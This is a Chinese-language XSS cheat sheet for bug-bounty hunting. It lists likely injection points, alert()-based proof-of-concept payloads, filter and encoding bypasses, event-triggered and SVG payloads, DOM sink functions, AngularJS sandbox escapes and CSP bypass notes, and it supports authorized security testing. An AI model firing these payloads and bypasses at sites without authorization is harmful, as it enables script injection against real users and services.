SRC挖掘Tips-XSS

可能出现xss漏洞的位置

• 所有配置超链接的地方
  使用www.baidu.com 测试是否可以重定向，然后url配置为javascript:alert('xss');
• 文件上传的地方
  上传文件修改为 .html ，内容为 <image src=1 onerror=alert(document.domain)>，然后去访问这个文件
• svg插入xss
• pdf插入xss

常用POC:

• "><script>alert(1)</script>
• <image src=1 onerror=alert(1)>
• " autofocus onfocus=alert(1) x="
• <a href="javascript:alert(1)">
• javascript:alert(1);
  JavaScript伪协议，超链接的地方就可能会存在
• "><svg onload=alert(1)>
• <span title="" onmouseover="alert(/XSS/)">" onmouseover="alert(/XSS/)</span>
• '-alert(1)-'
  单引号作用：跳出前一个js

绕过防护POC：

• 在标签中/可代替空格
• = 两边添加TAB键
• poc进行16进制编码，去掉;仍然可执行
• '-alert(1)-'
• ';alert(1)//
• 当单引号被转义时
  \\';alert(1)//
• 有引号处理文字时,如：var input=’payload’;
  ${alert(1)}
• url编码
  %27%2dalert(1)%2d%27
%3Ca%20hREf%20%3D%20%27javasCriPt%3Aalert(%2Fxss%2F)%27%3Eclick%20me!%3C%2Fa%3E javascript伪协议
• 尖括号被转义绕过
  尝试利用事件执行xss，这里我主要采用与用户接口(鼠标、键盘)相关的事件，如click、mouseover等：

<span title="" onmouseover="alert(/XSS/)">" onmouseover="alert(/XSS/)</span>

事件执行触发POC:

• accesskey:设置快捷键
  <a href="url" accesskey="c">alert()</a> ctrl+shift+c触发
• mouseover:鼠标移动
  <span title="" onmouseover="alert(1)">" onmouseover="alert(1)"</span>
• click:单击
  <span title="" onclick="alert(1)">" onclick="alert(1)"</span>

SVG

<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
    <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
    <script>alert(1)</script>
</svg>

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <rect width="300" height="100" onmouseover="alert(/xss/)" style="fill:rgb(0,0,255);stroke-width:3;strcke:rgb(0,0,0)">
</svg>

DOM XSS出现位置函数

document.write、location.search、eval（）、location、someDOMElement.innerHTML/uterHTML/insertAdjacentHTML/onevent

沙箱逃逸

• toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
• <input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">
• {{$on.constructor('alert(1)')()}}

绕过CSP

• 悬空标记注入，指定url地址后面用？跟参数
• 修改响应包中CSP指令，覆盖现有规则script-src等